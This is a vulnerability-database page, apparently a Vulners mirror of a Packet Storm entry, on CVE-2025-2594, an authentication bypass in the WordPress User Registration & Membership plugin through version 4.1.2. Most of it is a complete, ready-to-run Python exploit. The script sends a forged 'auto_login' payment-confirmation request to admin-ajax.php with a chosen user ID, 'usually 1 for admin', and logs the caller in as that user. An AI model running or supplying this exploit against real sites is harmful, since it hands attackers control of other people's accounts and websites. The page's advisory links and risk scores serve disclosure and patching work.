Lucene search
+L

πŸ“„ WordPress User Registration and Membership 4.1.2 Authentication Bypass

πŸ—“οΈΒ 26 May 2025Β 00:00:00Reported byΒ Mohammed Idrees BanyamerTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 115Β Views

WordPress User Registration and Membership plugin allows authentication bypass in versions up to 4.1.2.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-2594
2 Apr 202517:00
–circl
cnnvd
CNNVD
WordPress plugin User Registration & Membership has a security vulnerability
22 Apr 202500:00
–cnnvd
cve
CVE
CVE-2025-2594
22 Apr 202506:00
–cve
cvelist
Cvelist
CVE-2025-2594 User Registration & Membership < 4.1.3 - Authentication Bypass
22 Apr 202506:00
–cvelist
exploitdb
Exploit DB
WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass
25 May 202500:00
–exploitdb
euvd
EUVD
EUVD-2025-12286
3 Oct 202520:07
–euvd
kitploit
Kitploit
CVE-2025-2594
28 Oct 202623:59
–kitploit
nvd
NVD
CVE-2025-2594
22 Apr 202506:15
–nvd
osv_cve
osv_cve
CVE-2025-2594
22 Apr 202506:15
–osv_cve
packetstorm
Packet Storm
πŸ“„ WordPress User Registration and Membership 4.1.2 Authentication Bypass
6 Feb 202600:00
–packetstorm
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass
    # Date: 2025-05-22
    # Exploit Author: Mohammed Idrees Banyamer
    # Vendor Homepage: https://wordpress.org/plugins/user-registration/
    # Software Link: https://downloads.wordpress.org/plugin/user-registration.4.1.2.zip
    # Version: <= 4.1.2
    # Tested on: WordPress 6.x, Apache on Linux
    # CVE: CVE-2025-2594
    
    import requests
    import sys
    import argparse
    from urllib.parse import urljoin
    from termcolor import cprint, colored
    
    def banner():
        cprint("β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”", "cyan")
        cprint("β”‚ WordPress Plugin User Registration <= 4.1.2   β”‚", "cyan")
        cprint("β”‚ Authentication Bypass Exploit (CVE-2025-2594)β”‚", "cyan")
        cprint("β”‚ Author: Mohammed Idrees Banyamer             β”‚", "cyan")
        cprint("β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜", "cyan")
    
    def exploit(target_url, member_id, nonce):
        endpoint = urljoin(target_url, "/wp-admin/admin-ajax.php")
    
        files = {
            'action': (None, 'user_registration_membership_confirm_payment'),
            'security': (None, nonce),
            'form_response': (None, '{"auto_login": true}'),
            'member_id': (None, str(member_id))
        }
    
        cprint(f"[+] Target URL: {endpoint}", "yellow")
        cprint(f"[+] Attempting to bypass authentication as user ID {member_id}...\n", "yellow")
    
        try:
            response = requests.post(endpoint, files=files, timeout=10)
    
            if response.status_code == 200 and '"success":true' in response.text:
                cprint("[βœ“] Exploit successful! Authentication bypass achieved.", "green")
                cprint("[!] Check your session/cookies - you may now be authenticated as the target user.\n", "green")
                print("Server Response:")
                print(response.text)
            else:
                cprint("[-] Exploit failed or invalid nonce/member_id.", "red")
                print("Server Response:")
                print(response.text)
        except requests.exceptions.RequestException as e:
            cprint(f"[!] Request failed: {e}", "red")
    
    def main():
        banner()
    
        parser = argparse.ArgumentParser(description="CVE-2025-2594 - WordPress Plugin Authentication Bypass")
        parser.add_argument("target", help="Base target URL (e.g., http://localhost)")
        parser.add_argument("member_id", help="Target user ID (usually 1 for admin)")
        parser.add_argument("nonce", help="_confirm_payment_nonce value from registration page")
    
        args = parser.parse_args()
    
        exploit(args.target, args.member_id, args.nonce)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 May 2025 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.18.1
EPSS0.09524
SSVC
115